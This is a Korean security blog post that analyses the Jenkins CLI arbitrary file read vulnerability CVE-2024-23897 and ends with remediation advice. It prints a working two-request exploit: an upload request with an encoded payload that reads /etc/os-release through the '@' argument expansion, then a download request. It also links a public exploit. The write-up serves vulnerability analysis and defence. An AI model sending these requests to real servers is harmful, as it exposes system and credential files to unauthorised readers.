1. 개요
Jenkins란 Java 기반의 오픈소스 CI 툴이다.
다수의 개발자들이 하나의 프로그램을 개발할 때 버전 충돌을 방지하기 위해 각자 작업한 내용을 공유영역에 있는 저장소에 업로드함으로써 지속적 통합이 가능하다.
영향을 받는 버전
Jenkins: 2.441 버전 이하
LTS: 2.426.2 버전 이하
CVSS: 9.8점
2. 상세 분석
공격 설명
CLI 명령어 내에 있는 임의 파일 읽기 취약점으로 인증되지 않은 공격자가 Jenkins 컨트롤러 파일 시스템에서 arags4j 라이브러리를 통해 문자 인코딩을 악용하여 모든 프로그램 파일을 읽을 수 읽을 수 있다.
arags4j 라이브러리에서 매개 변수 @문자 뒤에 파일 경로를 입력하면 해당 파일을 읽고 결과 값을 반환한다.
공격 테스트
해당 취약점을 이용하여 @ 매개변 수 뒤에/etc/passwd 파일 경로를 입력하게 되면 매개 변수 조건은 충족되지 않아 예외 구문을 타게 되고 해당 경로에 있는 파일 내용이 출력되게 된다.
Requset Payload
예외 구문을 타고 가기 때문에 POST 요청은 /cli?remoting=false 을 입력하고 BODY의 data 부분에 바이너리 코드 안에 출력할 파일 경로를 입력 후 upload 요청을 수행한다.
POST /cli?remoting=false HTTP/1.1
Host: 127.0.0.1:443
User-Agent: Go-http-client/1.1
Content-Length: 51
Session: f1c4c5ac-bd0e-4b62-96dd-16cb91015fa3
Side: upload
Accept-Encoding: gzip
data=\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0E\x00\x00\x0C@/etc/os-release\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03
업로드 요청 직후에 업로드된 서버는 다운로드 요청을 기다리고 있어 요청한 데이터를 처리하도록 다운로드 요청을 보낸다.
다운로드를 요청하는 페이로드에는 이전 요청에 대한 다운로드만 받으면 되기 때문에 Body 부분은 존재하지 않는다.
POST /cli?remoting=false HTTP/1.1
Host: 127.0.0.1:443
User-Agent: Go-http-client/1.1
Content-Length: 51
Session: f1c4c5ac-bd0e-4b62-96dd-16cb91015fa3
Side: download
Accept-Encoding: gzip
공격 결과
응답 값에 해당 파일 경로에 있는 내용이 출력되게 된다.
아래 Expolit을 통해 /etc/os-release, /etc/passwd에 대한 내용을 출력된 것을 확인 할 수있다.
expolit 정보: https://github.com/binganao/CVE-2024-23897/
최종적으로 공격자는 Upload, download 총 2번의 요청 패킷을 보내게 되고, 파일 경로 내에 있는 내용을 확인할 수 있게 된다.
3. 대응 방안
Jenkins 2.442, LTS 2.426.3 버전에서 인수에서 문자 뒤에 오는 파일 경로를 CLI 명령에 대한 파일 내용으로 바꾸는 명령 구문 분석기 기능을 비활성화였다.
Jenkins에서 CLI에 대한 액세스를 비활성화한다.
최신 버전으로 업데이트 한다.
[참고]
CVE-2024-23897: https://www.splunk.com/en_us/blog/security/security-insights-jenkins-cve-2024-23897-rce.html Expolit Diagram: https://www.bleepingcomputer.com/news/security/exploits-released-for-critical-jenkins-rce-flaw-patch-now/
젠킨스 개념: https://ict-nroo.tistory.com/31
'Hacking & Security > Vulnerability' 카테고리의 다른 글
Apache OFBiz Auth Bypass & RCE Vulnerability (CVE-2023-51467) 취약점 (0) | 2024.02.04 |
---|---|
Atlassian Confluence OGNL Remote Code Execution (CVE-2022-26134) (0) | 2022.06.14 |
Tongda OA file upload AND RCE Vulnerability (0) | 2021.02.27 |
Citrix ADC and Gateway RCE Vulnerability (CVE-2019-19781) (2) | 2021.02.20 |
FortiOS SSL VPN Directory Traversal Vulnerability (CVE-2018-13379) (0) | 2020.12.16 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊